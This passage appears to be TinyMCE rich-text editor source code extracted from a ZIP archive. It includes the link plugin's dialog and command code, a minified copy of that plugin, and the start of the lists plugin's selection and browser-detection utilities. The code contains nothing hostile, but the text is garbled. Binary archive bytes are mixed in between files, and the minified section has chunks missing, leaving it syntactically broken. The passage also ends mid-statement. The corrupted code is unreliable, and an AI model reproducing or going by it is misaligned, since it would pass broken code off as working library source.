'#' + id, selected: url.indexOf('#' + id) !== -1 }); } }); if (anchorList.length) { anchorList.unshift({ text: 'None', value: '' }); return { name: 'anchor', type: 'listbox', label: 'Anchors', values: anchorList, onselect: linkListChangeHandler }; } }; var updateText = function () { if (!initialText && onlyText && !data.text) { this.parent().parent().find('#text')[0].value(this.value()); } }; var urlChange = function (e) { var meta = e.meta || {}; if (linkListCtrl) { linkListCtrl.value(editor.convertURL(this.value(), 'href')); } global$4.each(e.meta, function (value, key) { var inp = win.find('#' + key); if (key === 'text') { if (initialText.length === 0) { inp.value(value); data.text = value; } } else { inp.value(value); } }); if (meta.attach) { attachState = { href: this.value(), attach: meta.attach }; } if (!meta.text) { updateText.call(this); } }; var onBeforeCall = function (e) { e.meta = win.toJSON(); }; onlyText = Utils.isOnlyTextSelected(selection.getContent()); anchorElm = Utils.getAnchorElement(editor); data.text = initialText = Utils.getAnchorText(editor.selection, anchorElm); data.href = anchorElm ? dom.getAttrib(anchorElm, 'href') : ''; if (anchorElm) { data.target = dom.getAttrib(anchorElm, 'target'); } else if (Settings.hasDefaultLinkTarget(editor.settings)) { data.target = Settings.getDefaultLinkTarget(editor.settings); } if (value = dom.getAttrib(anchorElm, 'rel')) { data.rel = value; } if (value = dom.getAttrib(anchorElm, 'class')) { data.class = value; } if (value = dom.getAttrib(anchorElm, 'title')) { data.title = value; } if (onlyText) { textListCtrl = { name: 'text', type: 'textbox', size: 40, label: 'Text to display', onchange: function () { data.text = this.value(); } }; } if (linkList) { linkListCtrl = { type: 'listbox', label: 'Link list', values: buildListItems(linkList, function (item) { item.value = editor.convertURL(item.value || item.url, 'href'); }, [{ text: 'None', value: '' }]), onselect: linkListChangeHandler, value: editor.convertURL(data.href, 'href'), onPostRender: function () { linkListCtrl = this; } }; } if (Settings.shouldShowTargetList(editor.settings)) { if (Settings.getTargetList(editor.settings) === undefined) { Settings.setTargetList(editor, [ { text: 'None', value: '' }, { text: 'New window', value: '_blank' } ]); } targetListCtrl = { name: 'target', type: 'listbox', label: 'Target', values: buildListItems(Settings.getTargetList(editor.settings)) }; } if (Settings.hasRelList(editor.settings)) { relListCtrl = { name: 'rel', type: 'listbox', label: 'Rel', values: buildListItems(Settings.getRelList(editor.settings), function (item) { if (Settings.allowUnsafeLinkTarget(editor.settings) === false) { item.value = Utils.toggleTargetRules(item.value, data.target === '_blank'); } }) }; } if (Settings.hasLinkClassList(editor.settings)) { classListCtrl = { name: 'class', type: 'listbox', label: 'Class', values: buildListItems(Settings.getLinkClassList(editor.settings), function (item) { if (item.value) { item.textStyle = function () { return editor.formatter.getCssText({ inline: 'a', classes: [item.value] }); }; } }) }; } if (Settings.shouldShowLinkTitle(editor.settings)) { linkTitleCtrl = { name: 'title', type: 'textbox', label: 'Title', value: data.title }; } win = editor.windowManager.open({ title: 'Insert link', data: data, body: [ { name: 'href', type: 'filepicker', filetype: 'file', size: 40, autofocus: true, label: 'Url', onchange: urlChange, onkeyup: updateText, onpaste: updateText, onbeforecall: onBeforeCall }, textListCtrl, linkTitleCtrl, buildAnchorListControl(data.href), linkListCtrl, relListCtrl, targetListCtrl, classListCtrl ], onSubmit: function (e) { var assumeExternalTargets = Settings.assumeExternalTargets(editor.settings); var insertLink = Utils.link(editor, attachState); var removeLink = Utils.unlink(editor); var resultData = global$4.extend({}, data, e.data); var href = resultData.href; if (!href) { removeLink(); return; } if (!onlyText || resultData.text === initialText) { delete resultData.text; } if (href.indexOf('@') > 0 && href.indexOf('//') === -1 && href.indexOf('mailto:') === -1) { delayedConfirm(editor, 'The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?', function (state) { if (state) { resultData.href = 'mailto:' + href; } insertLink(resultData); }); return; } if (assumeExternalTargets === true && !/^\w+:/i.test(href) || assumeExternalTargets === false && /^\s*www[\.|\d\.]/i.test(href)) { delayedConfirm(editor, 'The URL you entered seems to be an external link. Do you want to add the required http:// prefix?', function (state) { if (state) { resultData.href = 'http://' + href; } insertLink(resultData); }); return; } insertLink(resultData); } }); }; var open$1 = function (editor) { createLinkList(editor, showDialog); }; var Dialog = { open: open$1 }; var getLink = function (editor, elm) { return editor.dom.getParent(elm, 'a[href]'); }; var getSelectedLink = function (editor) { return getLink(editor, editor.selection.getStart()); }; var getHref = function (elm) { var href = elm.getAttribute('data-mce-href'); return href ? href : elm.getAttribute('href'); }; var isContextMenuVisible = function (editor) { var contextmenu = editor.plugins.contextmenu; return contextmenu ? contextmenu.isContextMenuVisible() : false; }; var hasOnlyAltModifier = function (e) { return e.altKey === true && e.shiftKey === false && e.ctrlKey === false && e.metaKey === false; }; var gotoLink = function (editor, a) { if (a) { var href = getHref(a); if (/^#/.test(href)) { var targetEl = editor.$(href); if (targetEl.length) { editor.selection.scrollIntoView(targetEl[0], true); } } else { OpenUrl.open(a.href); } } }; var openDialog = function (editor) { return function () { Dialog.open(editor); }; }; var gotoSelectedLink = function (editor) { return function () { gotoLink(editor, getSelectedLink(editor)); }; }; var leftClickedOnAHref = function (editor) { return function (elm) { var sel, rng, node; if (Settings.hasContextToolbar(editor.settings) && !isContextMenuVisible(editor) && Utils.isLink(elm)) { sel = editor.selection; rng = sel.getRng(); node = rng.startContainer; if (node.nodeType === 3 && sel.isCollapsed() && rng.startOffset > 0 && rng.startOffset < node.data.length) { return true; } } return false; }; }; var setupGotoLinks = function (editor) { editor.on('click', function (e) { var link = getLink(editor, e.target); if (link && global$1.metaKeyPressed(e)) { e.preventDefault(); gotoLink(editor, link); } }); editor.on('keydown', function (e) { var link = getSelectedLink(editor); if (link && e.keyCode === 13 && hasOnlyAltModifier(e)) { e.preventDefault(); gotoLink(editor, link); } }); }; var toggleActiveState = function (editor) { return function () { var self = this; editor.on('nodechange', function (e) { self.active(!editor.readonly && !!Utils.getAnchorElement(editor, e.element)); }); }; }; var toggleViewLinkState = function (editor) { return function () { var self = this; var toggleVisibility = function (e) { if (Utils.hasLinks(e.parents)) { self.show(); } else { self.hide(); } }; if (!Utils.hasLinks(editor.dom.getParents(editor.selection.getStart()))) { self.hide(); } editor.on('nodechange', toggleVisibility); self.on('remove', function () { editor.off('nodechange', toggleVisibility); }); }; }; var Actions = { openDialog: openDialog, gotoSelectedLink: gotoSelectedLink, leftClickedOnAHref: leftClickedOnAHref, setupGotoLinks: setupGotoLinks, toggleActiveState: toggleActiveState, toggleViewLinkState: toggleViewLinkState }; var register = function (editor) { editor.addCommand('mceLink', Actions.openDialog(editor)); }; var Commands = { register: register }; var setup = function (editor) { editor.addShortcut('Meta+K', '', Actions.openDialog(editor)); }; var Keyboard = { setup: setup }; var setupButtons = function (editor) { editor.addButton('link', { active: false, icon: 'link', tooltip: 'Insert/edit link', onclick: Actions.openDialog(editor), onpostrender: Actions.toggleActiveState(editor) }); editor.addButton('unlink', { active: false, icon: 'unlink', tooltip: 'Remove link', onclick: Utils.unlink(editor), onpostrender: Actions.toggleActiveState(editor) }); if (editor.addContextToolbar) { editor.addButton('openlink', { icon: 'newtab', tooltip: 'Open link', onclick: Actions.gotoSelectedLink(editor) }); } }; var setupMenuItems = function (editor) { editor.addMenuItem('openlink', { text: 'Open link', icon: 'newtab', onclick: Actions.gotoSelectedLink(editor), onPostRender: Actions.toggleViewLinkState(editor), prependToContext: true }); editor.addMenuItem('link', { icon: 'link', text: 'Link', shortcut: 'Meta+K', onclick: Actions.openDialog(editor), stateSelector: 'a[href]', context: 'insert', prependToContext: true }); editor.addMenuItem('unlink', { icon: 'unlink', text: 'Remove link', onclick: Utils.unlink(editor), stateSelector: 'a[href]' }); }; var setupContextToolbars = function (editor) { if (editor.addContextToolbar) { editor.addContextToolbar(Actions.leftClickedOnAHref(editor), 'openlink | link unlink'); } }; var Controls = { setupButtons: setupButtons, setupMenuItems: setupMenuItems, setupContextToolbars: setupContextToolbars }; global.add('link', function (editor) { Controls.setupButtons(editor); Controls.setupMenuItems(editor); Controls.setupContextToolbars(editor); Actions.setupGotoLinks(editor); Commands.register(editor); Keyboard.setup(editor); }); function Plugin () { } return Plugin; }(window)); })(); PKá´–[VƺHì"ì"link/plugin.min.jsnu„[µü¤!function(l){"use strict";var t=tinymce.util.Tools.resolve("tinymce.PluginManager"),n=tinymce.util.Tools.resolve("tinymce.util.VK"),e=function(t){return t.target_list},o=function(t){return t.rel_list},i=function(t){return t.link_class_list},p=function(t){return"boolean"==typeof t.link_assume_external_targets&&t.link_assume_external_targets},a=function(t){return"boolean"==typeof t.link_context_toolbar&&t.link_context_toolbar},r=function(t){return t.link_list},k=function(t){return"string"==typeof t.default_link_target},y=function(t){return t.default_link_target},b=e,_=function(t,e){t.settings.target_list=e},w=function(t){return!1!==e(t)},T=o,C=function(t){return o(t)!==undefined},M=i,O=function(t){return i(t)!==undefined},R=function(t){return!1!==t.link_title},N=function(t){return"boolean"==typeof t.allow_unsafe_link_target&&t.allow_unsafe_link_target},u=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),c=tinymce.util.Tools.resolve("tinymce.Env"),s=function(t){if(!c.ie||10'),i.close()}}var r,a},A=tinymce.util.Tools.resolve("tinymce.util.Tools"),f=function(t,e){var n,o,i=["noopener"],r=t?t.split(/\s+/):[],a=function(t){return t.filter(function(t){return-1===A.inArray(i,t)})};return(r=e?(n=a(n=r)).length?n.concat(i):i:a(r)).length?(o=r,A.trim(o.sort().join(" "))):null},d=function(t,e){return e=e||t.selection.getNode(),v(e)?t.dom.select("a[href]",e)[0]:t.dom.getParent(e,"a[href]")},m=function(t){return t&&"A"===t.nodeName&&t.href},v=function(t){return t&&"FIGURE"===t.nodeName&&/\bimage\b/i.test(t.className)},g=function(t,e){var n,o;(o=t.dom.select("img",e)[0])&&(n=t.dom.getParents(o,"a[href]",e)[0])&&(n.parentNode.insertBefore(o,n),t.dom.remove(n))},h=function(t,e,n){var o,i;(i=t.dom.select("img",e)[0])&&(o=t.dom.create("a",n),i.parentNode.insertBefore(o,i),o.appendChild(i))},L=function(i,r){return function(o){i.undoManager.transact(function(){var t=i.selection.getNode(),e=d(i,t),n={href:o.href,target:o.target?o.target:null,rel:o.rel?o.rel:null,"class":o["class"]?o["class"]:null,title:o.title?o.title:null};C(i.settings)||!1!==N(i.settings)||(n.rel=f(n.rel,"_blank"===n.target)),o.href===r.href&&(r.attach(),r={}),e?(i.focus(),o.hasOwnProperty("text")&&("innerText"in e?e.innerText=o.text:e.textContent=o.text),i.dom.setAttribs(e,n),i.selection.select(e),i.undoManager.add()):v(t)?h(i,t,n):o.hasOwnProperty("text")?i.insertContent(i.dom.createHTML("a",n,i.dom.encode(o.text))):i.execCommand("mceInsertLink",!1,n)})}},P=function(e){return function(){e.undoManager.transact(function(){var t=e.selection.getNode();v(t)?g(e,t):e.execCommand("unlink")})}},x=m,E=function(t){return 0]+>[^<]+<\/a>$/.test(t)||-1===t.indexOf("href=")))},I=d,K=function(t,e){var n=e?e.innerText||e.textContent:t.getContent({format:"text"});return n.replace(/\uFEFF/g,"")},U=f,D=tinymce.util.Tools.resolve("tinymce.util.Delay"),B=tinymce.util.Tools.resolve("tinymce.util.XHR"),F={},q=function(t,o,e){var i=function(t,n){return n=n||[],A.each(t,function(t){var e={text:t.text||t.title};t.menu?e.menu=i(t.menu):(e.value=t.value,o&&o(e)),n.push(e)}),n};return i(t,e||[])},V=function(e,t,n){var o=e.selection.getRng();D.setEditorTimeout(e,function(){e.windowManager.confirm(t,function(t){e.selection.setRng(o),n(t)})})},z=function(a,t){var e,l,o,u,n,i,r,c,s,f,d,m={},v=a.selection,g=a.dom,h=function(t){var e=o.find("#text");(!e.value()||t.lastControl&&e.value()===t.lastControl.text())&&e.value(t.control.text()),o.find("#href").value(t.control.value())},x=function(){l||!u||m.text||this.parent().parent().find("#text")[0].value(this.value())};u=S(v.getContent()),e=I(a),m.text=l=K(a.selection,e),m.href=e?g.getAttrib(e,"href"):"",e?m.target=g.getAttrib(e,"target"):k(a.settings)&&(m.target=y(a.settings)),(d=g.getAttrib(e,"rel"))&&(m.rel=d),(d=g.getAttrib(e,"class"))&&(m["class"]=d),(d=g.getAttrib(e,"title"))&&(m.title=d),u&&(n={name:"text",type:"textbox",size:40,label:"Text to display",onchange:function(){m.text=this.value()}}),t&&(i={type:"listbox",label:"Link list",values:q(t,function(t){t.value=a.convertURL(t.value||t.url,"href")},[{text:"None",value:""}]),onselect:h,value:a.convertURL(m.href,"href"),onPostRender:function(){i=this}}),w(a.settings)&&(b(a.settings)===undefined&&_(a,[{text:"None",value:""},{text:"New window",value:"_blank"}]),c={name:"target",type:"listbox",label:"Target",values:q(b(a.settings))}),C(a.settings)&&(r={name:"rel",type:"listbox",label:"Rel",values:q(T(a.settings),function(t){!1===N(a.settings)&&(t.value=U(t.value,"_blank"===m.target))})}),O(a.settings)&&(s={name:"class",type:"listbox",label:"Class",values:q(M(a.settings),function(t){t.value&&(t.textStyle=function(){return a.formatter.getCssText({inline:"a",classes:[t.value]})})})}),R(a.settings)&&(f={name:"title",type:"textbox",label:"Title",value:m.title}),o=a.windowManager.open({title:"Insert link",data:m,body:[{name:"href",type:"filepicker",filetype:"file",size:40,autofocus:!0,label:"Url",onchange:function(t){var e=t.meta||{};i&&i.value(a.convertURL(this.value(),"href")),A.each(t.meta,function(t,e){var n=o.find("#"+e);"text"===e?0===l.length&&(n.value(t),m.text=t):n.value(t)}),e.attach&&(F={href:this.value(),attach:e.attach}),e.text||x.call(this)},onkeyup:x,onpaste:x,onbeforecall:function(t){t.meta=o.toJSON()}},n,f,function(n){var o=[];if(A.each(a.dom.select("a:not([href])"),function(t){var e=t.name||t.id;e&&o.push({text:e,value:"#"+e,selected:-1!==n.indexOf("#"+e)})}),o.length)return o.unshift({text:"None",value:""}),{name:"anchor",type:"listbox",label:"Anchors",values:o,onselect:h}}(m.href),i,r,c,s],onSubmit:function(t){var e=p(a.settings),n=L(a,F),o=P(a),i=A.extend({},m,t.data),r=i.href;r?(u&&i.text!==l||delete i.text,0 0) { return false; } return empty; }; var isChildOfBody = function (dom, elm) { return dom.isChildOf(elm, dom.getRoot()); }; var NodeType = { isTextNode: isTextNode, isListNode: isListNode, isOlUlNode: isOlUlNode, isDlItemNode: isDlItemNode, isListItemNode: isListItemNode, isTableCellNode: isTableCellNode, isBr: isBr, isFirstChild: isFirstChild, isLastChild: isLastChild, isTextBlock: isTextBlock, isBlock: isBlock, isBogusBr: isBogusBr, isEmpty: isEmpty, isChildOfBody: isChildOfBody }; var getNormalizedPoint = function (container, offset) { if (NodeType.isTextNode(container)) { return { container: container, offset: offset }; } var node = global$1.getNode(container, offset); if (NodeType.isTextNode(node)) { return { container: node, offset: offset >= container.childNodes.length ? node.data.length : 0 }; } else if (node.previousSibling && NodeType.isTextNode(node.previousSibling)) { return { container: node.previousSibling, offset: node.previousSibling.data.length }; } else if (node.nextSibling && NodeType.isTextNode(node.nextSibling)) { return { container: node.nextSibling, offset: 0 }; } return { container: container, offset: offset }; }; var normalizeRange = function (rng) { var outRng = rng.cloneRange(); var rangeStart = getNormalizedPoint(rng.startContainer, rng.startOffset); outRng.setStart(rangeStart.container, rangeStart.offset); var rangeEnd = getNormalizedPoint(rng.endContainer, rng.endOffset); outRng.setEnd(rangeEnd.container, rangeEnd.offset); return outRng; }; var Range = { getNormalizedPoint: getNormalizedPoint, normalizeRange: normalizeRange }; var DOM = global$6.DOM; var createBookmark = function (rng) { var bookmark = {}; var setupEndPoint = function (start) { var offsetNode, container, offset; container = rng[start ? 'startContainer' : 'endContainer']; offset = rng[start ? 'startOffset' : 'endOffset']; if (container.nodeType === 1) { offsetNode = DOM.create('span', { 'data-mce-type': 'bookmark' }); if (container.hasChildNodes()) { offset = Math.min(offset, container.childNodes.length - 1); if (start) { container.insertBefore(offsetNode, container.childNodes[offset]); } else { DOM.insertAfter(offsetNode, container.childNodes[offset]); } } else { container.appendChild(offsetNode); } container = offsetNode; offset = 0; } bookmark[start ? 'startContainer' : 'endContainer'] = container; bookmark[start ? 'startOffset' : 'endOffset'] = offset; }; setupEndPoint(true); if (!rng.collapsed) { setupEndPoint(); } return bookmark; }; var resolveBookmark = function (bookmark) { function restoreEndPoint(start) { var container, offset, node; var nodeIndex = function (container) { var node = container.parentNode.firstChild, idx = 0; while (node) { if (node === container) { return idx; } if (node.nodeType !== 1 || node.getAttribute('data-mce-type') !== 'bookmark') { idx++; } node = node.nextSibling; } return -1; }; container = node = bookmark[start ? 'startContainer' : 'endContainer']; offset = bookmark[start ? 'startOffset' : 'endOffset']; if (!container) { return; } if (container.nodeType === 1) { offset = nodeIndex(container); container = container.parentNode; DOM.remove(node); if (!container.hasChildNodes() && DOM.isBlock(container)) { container.appendChild(DOM.create('br')); } } bookmark[start ? 'startContainer' : 'endContainer'] = container; bookmark[start ? 'startOffset' : 'endOffset'] = offset; } restoreEndPoint(true); restoreEndPoint(); var rng = DOM.createRng(); rng.setStart(bookmark.startContainer, bookmark.startOffset); if (bookmark.endContainer) { rng.setEnd(bookmark.endContainer, bookmark.endOffset); } return Range.normalizeRange(rng); }; var Bookmark = { createBookmark: createBookmark, resolveBookmark: resolveBookmark }; var noop = function () { }; var constant = function (value) { return function () { return value; }; }; var not = function (f) { return function () { var args = []; for (var _i = 0; _i < arguments.length; _i++) { args[_i] = arguments[_i]; } return !f.apply(null, args); }; }; var never = constant(false); var always = constant(true); var none = function () { return NONE; }; var NONE = function () { var eq = function (o) { return o.isNone(); }; var call = function (thunk) { return thunk(); }; var id = function (n) { return n; }; var me = { fold: function (n, s) { return n(); }, is: never, isSome: never, isNone: always, getOr: id, getOrThunk: call, getOrDie: function (msg) { throw new Error(msg || 'error: getOrDie called on none.'); }, getOrNull: constant(null), getOrUndefined: constant(undefined), or: id, orThunk: call, map: none, each: noop, bind: none, exists: never, forall: always, filter: none, equals: eq, equals_: eq, toArray: function () { return []; }, toString: constant('none()') }; if (Object.freeze) { Object.freeze(me); } return me; }(); var some = function (a) { var constant_a = constant(a); var self = function () { return me; }; var bind = function (f) { return f(a); }; var me = { fold: function (n, s) { return s(a); }, is: function (v) { return a === v; }, isSome: always, isNone: never, getOr: constant_a, getOrThunk: constant_a, getOrDie: constant_a, getOrNull: constant_a, getOrUndefined: constant_a, or: self, orThunk: self, map: function (f) { return some(f(a)); }, each: function (f) { f(a); }, bind: bind, exists: bind, forall: bind, filter: function (f) { return f(a) ? me : NONE; }, toArray: function () { return [a]; }, toString: function () { return 'some(' + a + ')'; }, equals: function (o) { return o.is(a); }, equals_: function (o, elementEq) { return o.fold(never, function (b) { return elementEq(a, b); }); } }; return me; }; var from = function (value) { return value === null || value === undefined ? NONE : some(value); }; var Option = { some: some, none: none, from: from }; var typeOf = function (x) { if (x === null) { return 'null'; } var t = typeof x; if (t === 'object' && (Array.prototype.isPrototypeOf(x) || x.constructor && x.constructor.name === 'Array')) { return 'array'; } if (t === 'object' && (String.prototype.isPrototypeOf(x) || x.constructor && x.constructor.name === 'String')) { return 'string'; } return t; }; var isType = function (type) { return function (value) { return typeOf(value) === type; }; }; var isString = isType('string'); var isArray = isType('array'); var isBoolean = isType('boolean'); var isFunction = isType('function'); var isNumber = isType('number'); var nativeSlice = Array.prototype.slice; var nativePush = Array.prototype.push; var map = function (xs, f) { var len = xs.length; var r = new Array(len); for (var i = 0; i < len; i++) { var x = xs[i]; r[i] = f(x, i); } return r; }; var each = function (xs, f) { for (var i = 0, len = xs.length; i < len; i++) { var x = xs[i]; f(x, i); } }; var filter = function (xs, pred) { var r = []; for (var i = 0, len = xs.length; i < len; i++) { var x = xs[i]; if (pred(x, i)) { r.push(x); } } return r; }; var groupBy = function (xs, f) { if (xs.length === 0) { return []; } else { var wasType = f(xs[0]); var r = []; var group = []; for (var i = 0, len = xs.length; i < len; i++) { var x = xs[i]; var type = f(x); if (type !== wasType) { r.push(group); group = []; } wasType = type; group.push(x); } if (group.length !== 0) { r.push(group); } return r; } }; var foldl = function (xs, f, acc) { each(xs, function (x) { acc = f(acc, x); }); return acc; }; var find = function (xs, pred) { for (var i = 0, len = xs.length; i < len; i++) { var x = xs[i]; if (pred(x, i)) { return Option.some(x); } } return Option.none(); }; var flatten = function (xs) { var r = []; for (var i = 0, len = xs.length; i < len; ++i) { if (!isArray(xs[i])) { throw new Error('Arr.flatten item ' + i + ' was not an array, input: ' + xs); } nativePush.apply(r, xs[i]); } return r; }; var bind = function (xs, f) { var output = map(xs, f); return flatten(output); }; var reverse = function (xs) { var r = nativeSlice.call(xs, 0); r.reverse(); return r; }; var head = function (xs) { return xs.length === 0 ? Option.none() : Option.some(xs[0]); }; var last = function (xs) { return xs.length === 0 ? Option.none() : Option.some(xs[xs.length - 1]); }; var from$1 = isFunction(Array.from) ? Array.from : function (x) { return nativeSlice.call(x); }; var Global = typeof domGlobals.window !== 'undefined' ? domGlobals.window : Function('return this;')(); var path = function (parts, scope) { var o = scope !== undefined && scope !== null ? scope : Global; for (var i = 0; i < parts.length && o !== undefined && o !== null; ++i) { o = o[parts[i]]; } return o; }; var resolve = function (p, scope) { var parts = p.split('.'); return path(parts, scope); }; var unsafe = function (name, scope) { return resolve(name, scope); }; var getOrDie = function (name, scope) { var actual = unsafe(name, scope); if (actual === undefined || actual === null) { throw new Error(name + ' not available on this browser'); } return actual; }; var Global$1 = { getOrDie: getOrDie }; var htmlElement = function (scope) { return Global$1.getOrDie('HTMLElement', scope); }; var isPrototypeOf = function (x) { var scope = resolve('ownerDocument.defaultView', x); return htmlElement(scope).prototype.isPrototypeOf(x); }; var HTMLElement = { isPrototypeOf: isPrototypeOf }; var global$7 = tinymce.util.Tools.resolve('tinymce.dom.DomQuery'); var getParentList = function (editor) { var selectionStart = editor.selection.getStart(true); return editor.dom.getParent(selectionStart, 'OL,UL,DL', getClosestListRootElm(editor, selectionStart)); }; var isParentListSelected = function (parentList, selectedBlocks) { return parentList && selectedBlocks.length === 1 && selectedBlocks[0] === parentList; }; var findSubLists = function (parentList) { return global$5.grep(parentList.querySelectorAll('ol,ul,dl'), function (elm) { return NodeType.isListNode(elm); }); }; var getSelectedSubLists = function (editor) { var parentList = getParentList(editor); var selectedBlocks = editor.selection.getSelectedBlocks(); if (isParentListSelected(parentList, selectedBlocks)) { return findSubLists(parentList); } else { return global$5.grep(selectedBlocks, function (elm) { return NodeType.isListNode(elm) && parentList !== elm; }); } }; var findParentListItemsNodes = function (editor, elms) { var listItemsElms = global$5.map(elms, function (elm) { var parentLi = editor.dom.getParent(elm, 'li,dd,dt', getClosestListRootElm(editor, elm)); return parentLi ? parentLi : elm; }); return global$7.unique(listItemsElms); }; var getSelectedListItems = function (editor) { var selectedBlocks = editor.selection.getSelectedBlocks(); return global$5.grep(findParentListItemsNodes(editor, selectedBlocks), function (block) { return NodeType.isListItemNode(block); }); }; var getSelectedDlItems = function (editor) { return filter(getSelectedListItems(editor), NodeType.isDlItemNode); }; var getClosestListRootElm = function (editor, elm) { var parentTableCell = editor.dom.getParents(elm, 'TD,TH'); var root = parentTableCell.length > 0 ? parentTableCell[0] : editor.getBody(); return root; }; var findLastParentListNode = function (editor, elm) { var parentLists = editor.dom.getParents(elm, 'ol,ul', getClosestListRootElm(editor, elm)); return last(parentLists); }; var getSelectedLists = function (editor) { var firstList = findLastParentListNode(editor, editor.selection.getStart()); var subsequentLists = filter(editor.selection.getSelectedBlocks(), NodeType.isOlUlNode); return firstList.toArray().concat(subsequentLists); }; var getSelectedListRoots = function (editor) { var selectedLists = getSelectedLists(editor); return getUniqueListRoots(editor, selectedLists); }; var getUniqueListRoots = function (editor, lists) { var listRoots = map(lists, function (list) { return findLastParentListNode(editor, list).getOr(list); }); return global$7.unique(listRoots); }; var isList = function (editor) { var list = getParentList(editor); return HTMLElement.isPrototypeOf(list); }; var Selection = { isList: isList, getParentList: getParentList, getSelectedSubLists: getSelectedSubLists, getSelectedListItems: getSelectedListItems, getClosestListRootElm: getClosestListRootElm, getSelectedDlItems: getSelectedDlItems, getSelectedListRoots: getSelectedListRoots }; var fromHtml = function (html, scope) { var doc = scope || domGlobals.document; var div = doc.createElement('div'); div.innerHTML = html; if (!div.hasChildNodes() || div.childNodes.length > 1) { domGlobals.console.error('HTML does not have a single root node', html); throw new Error('HTML must have a single root node'); } return fromDom(div.childNodes[0]); }; var fromTag = function (tag, scope) { var doc = scope || domGlobals.document; var node = doc.createElement(tag); return fromDom(node); }; var fromText = function (text, scope) { var doc = scope || domGlobals.document; var node = doc.createTextNode(text); return fromDom(node); }; var fromDom = function (node) { if (node === null || node === undefined) { throw new Error('Node cannot be null or undefined'); } return { dom: constant(node) }; }; var fromPoint = function (docElm, x, y) { var doc = docElm.dom(); return Option.from(doc.elementFromPoint(x, y)).map(fromDom); }; var Element = { fromHtml: fromHtml, fromTag: fromTag, fromText: fromText, fromDom: fromDom, fromPoint: fromPoint }; var lift2 = function (oa, ob, f) { return oa.isSome() && ob.isSome() ? Option.some(f(oa.getOrDie(), ob.getOrDie())) : Option.none(); }; var fromElements = function (elements, scope) { var doc = scope || domGlobals.document; var fragment = doc.createDocumentFragment(); each(elements, function (element) { fragment.appendChild(element.dom()); }); return Element.fromDom(fragment); }; var Immutable = function () { var fields = []; for (var _i = 0; _i < arguments.length; _i++) { fields[_i] = arguments[_i]; } return function () { var values = []; for (var _i = 0; _i < arguments.length; _i++) { values[_i] = arguments[_i]; } if (fields.length !== values.length) { throw new Error('Wrong number of arguments to struct. Expected "[' + fields.length + ']", got ' + values.length + ' arguments'); } var struct = {}; each(fields, function (name, i) { struct[name] = constant(values[i]); }); return struct; }; }; var keys = Object.keys; var each$1 = function (obj, f) { var props = keys(obj); for (var k = 0, len = props.length; k < len; k++) { var i = props[k]; var x = obj[i]; f(x, i); } }; var node = function () { var f = Global$1.getOrDie('Node'); return f; }; var compareDocumentPosition = function (a, b, match) { return (a.compareDocumentPosition(b) & match) !== 0; }; var documentPositionPreceding = function (a, b) { return compareDocumentPosition(a, b, node().DOCUMENT_POSITION_PRECEDING); }; var documentPositionContainedBy = function (a, b) { return compareDocumentPosition(a, b, node().DOCUMENT_POSITION_CONTAINED_BY); }; var Node = { documentPositionPreceding: documentPositionPreceding, documentPositionContainedBy: documentPositionContainedBy }; var cached = function (f) { var called = false; var r; return function () { var args = []; for (var _i = 0; _i < arguments.length; _i++) { args[_i] = arguments[_i]; } if (!called) { called = true; r = f.apply(null, args); } return r; }; }; var firstMatch = function (regexes, s) { for (var i = 0; i < regexes.length; i++) { var x = regexes[i]; if (x.test(s)) { return x; } } return undefined; }; var find$1 = function (regexes, agent) { var r = firstMatch(regexes, agent); if (!r) { return { major: 0, minor: 0 }; } var group = function (i) { return Number(agent.replace(r, '$' + i)); }; return nu(group(1), group(2)); }; var detect = function (versionRegexes, agent) { var cleanedAgent = String(agent).toLowerCase(); if (versionRegexes.length === 0) { return unknown(); } return find$1(versionRegexes, cleanedAgent); }; var unknown = function () { return nu(0, 0); }; var nu = function (major, minor) { return { major: major, minor: minor }; }; var Version = { nu: nu, detect: detect, unknown: unknown }; var edge = 'Edge'; var chrome = 'Chrome'; var ie = 'IE'; var opera = 'Opera'; var firefox = 'Firefox'; var safari = 'Safari'; var isBrowser = function (name, current) { return function () { return current === name; }; }; var unknown$1 = function () { return nu$1({ current: undefined, version: Version.unknown() }); }; var nu$1 = function (info) { var current = info.current; var version = info.version; return { current: current, version: version, isEdge: isBrowser(edge, current), isChrome: isBrowser(chrome, current), isIE: isBrowser(ie, current), isOpera: isBrowser(opera, current), isFirefox: isBrowser(firefox, current), isSafari: isBrowser(safari, current) }; }; var Browser = { unknown: unknown$1, nu: nu$1, edge: constant(edge), chrome: constant(chrome), ie: constant(ie), opera: constant(opera), firefox: constant(firefox), safari: constant(safari) }; var windows = 'Windows'; var ios = 'iOS'; var android = 'Android'; var linux = 'Linux'; var osx = 'OSX'; var solaris = 'Solaris'; var freebsd = 'FreeBSD'; var isOS = function (name, current) { return function () { return current === name; }; }; var unknown$2 = function () { return nu$2({ current: undefined, version: Version.unknown() }); }; var nu$2 = function (info) { var current = info.current; var version = info.version; return { current: current, version: version, isWindows: isOS(windows, current), isiOS: isOS(ios, current), isAndroid: isOS(android, current), isOSX: isOS(osx, current), isLinux: isOS(linux, current), isSolaris: isOS(solaris, current), isFreeBSD: isOS(freebsd, current) }; }; var OperatingSystem = { unknown: unknown$2, nu: nu$2, windows: constant(windows), ios: constant(ios), android: constant(android), linux: constant(linux), osx: constant(osx), solaris: constant(solaris), freebsd: constant(freebsd) }; var DeviceType = function (os, browser, userAgent) { var isiPad = os.isiOS() && /ipad/i.test(userAgent) === true; var isiPhone = os.isiOS() && !isiPad; var isAndroid3 = os.isAndroid() && os.version.major === 3; var isAndroid4 = os.isAndroid() && os.version.major === 4; var isTablet = isiPad || isAndroid3 || isAndroid4 && /mobile/i.test(userAgent) === true; var isTouch = os.isiOS() || os.isAndroid(); var isPhone = isTouch && !isTablet; var iOSwebview = browser.isSafari() && os.isiOS() && /safari/i.test(userAgent) === false; return { isiPad: constant(isiPad), isiPhone: constant(isiPhone), isTablet: constant(isTablet), isPhone: constant(isPhone), isTouch: constant(isTouch), isAndroid: os.isAndroid, isiOS: os.isiOS, isWebView: constant(iOSwebview) }; }; var detect$1 = function (candidates, userAgent) { var agent = String(userAgent).toLowerCase(); return find(candidates, function (candidate) { return candidate.search(agent); }); }; var detectBrowser = function (browsers, userAgent) { return detect$1(browsers, userAgent).map(function (browser) { var version = Version.detect(browser.versionRegexes, userAgent); return { current: browser.name, version: version }; }); }; var detectOs = function (oses, userAgent) { return detect$1(oses, userAgent).map(function (os) { var version = Version.detect(os.versionRegexes, userAgent); return { current: os.name, version: version }; }); }; var UaString = { detectBrowser: detectBrowser, detectOs: detectOs }; var contains = function (str, substr) { return str.indexOf(substr) !== -1; }; var normalVersionRegex = 